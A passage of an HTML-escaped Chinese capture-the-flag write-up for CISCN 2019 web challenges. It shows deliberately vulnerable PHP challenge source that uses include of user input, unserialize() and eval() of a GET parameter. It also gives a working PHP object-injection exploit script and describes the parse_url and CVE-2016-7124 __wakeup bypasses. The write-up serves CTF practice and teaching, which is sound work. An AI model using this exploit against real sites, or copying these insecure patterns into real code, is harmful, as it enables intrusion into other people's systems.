class=\"variable\"\u003e$file\u003c/span\u003e)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;hack attacked!!!\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e@\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e = parse_url(\u003cspan class=\"variable\"\u003e$_SERVER\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;REQUEST_URI\u0026#39;\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e parse_str(\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;query\u0026#39;\u003c/span\u003e],\u003cspan class=\"variable\"\u003e$query\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$query\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$value\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"string\"\u003e\u0026#34;/flag/\u0026#34;\u003c/span\u003e,\u003cspan class=\"variable\"\u003e$value\u003c/span\u003e)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;stop hacking!\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexit\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e = unserialize(\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Missing parameters\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;!--Please test index.php?file=xxx.php --\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;!--Please get the source of hint.php--\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/html\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// hint.php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eHandle\u003c/span\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__wakeup\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e(get_object_vars(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$k\u003c/span\u003e =\u0026gt; \u003cspan class=\"variable\"\u003e$v\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;\u003cspan class=\"variable\"\u003e$k\u003c/span\u003e = \u003cspan class=\"literal\"\u003enull\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Waking up\\n\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e\u003c/span\u003e) \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle = \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle-\u0026gt;getFlag();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eFlag\u003c/span\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$token\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$token_flag\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file = \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token = md5(rand(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e10000\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003egetFlag\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag = md5(rand(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e10000\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;asdf\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token === \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e @highlight_file(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file,\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003eGET参数中含有file, LFI获得index.php源码, 根据其内容继续获得hint.php源码\u003cbr/\u003e发现含有unserialize函数, 联系hint.php内容, 考察点为反序列化\u003c/p\u003e\u003cp\u003e有三处需要绕过:\u003c/p\u003e\u003col\u003e\u003cli\u003eparse_url 三斜杠绕过, 常规\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__wakeup\u003c/code\u003e 绕过,\u003ca href=\"https://bugs.php.net/bug.php?id=72663\"\u003eCVE-2016-7124\u003c/a\u003e\u003c/li\u003e\u003cli\u003e每次调用getFlag token_flag都会随机变化,可以将token赋值为token_flag 的引用绕过\u003c/li\u003e\u003c/ol\u003e\u003cimg src=\"https://blog.frankli.site/2019/04/22/Security/Writeup/CISCN%202019/EUhNFz4.png\" class=\"\" title=\"Source\"/\u003e\u003cp\u003e故exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eFlag\u003c/span\u003e\u003c/span\u003e{}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eHandle\u003c/span\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$xx\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle = \u003cspan class=\"variable\"\u003e$xx\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Flag(\u003cspan class=\"string\"\u003e\u0026#34;flag.php\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;token = \u0026amp;\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;token_flag;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;file = \u003cspan class=\"string\"\u003e\u0026#34;flag.php\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$pay\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Handle(\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e urlencode(serialize(\u003cspan class=\"variable\"\u003e$pay\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"love-the-math\"\u003elove the math\u003c/h2\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 题目源码 \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// calc.php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror_reporting(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//听说你很喜欢数学,不知道你是否爱它胜过爱flag\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e])){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e show_source(\u003cspan class=\"keyword\"\u003e__FILE__\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//例子 c=20-1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e) \u0026gt;= \u003cspan class=\"number\"\u003e80\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;太长了不会算\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\t\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\r\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#39;\\\u0026#39;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\u0026#34;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;`\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\[\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\]\u0026#39;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$blackitem\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e . \u003cspan class=\"variable\"\u003e$blackitem\u003c/span\u003e . \u003cspan class=\"string\"\u003e\u0026#39;/m\u0026#39;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;请不要输入奇奇怪怪的字符\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;echo \u0026#39;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#39;;\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$whitelist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026#39;abs\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;acos\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;acosh\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;asin\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;asinh\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;atan2\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;atan\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;atanh\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;base_convert\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;bindec\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;ceil\u0026#39;\u003c/span\u003e, 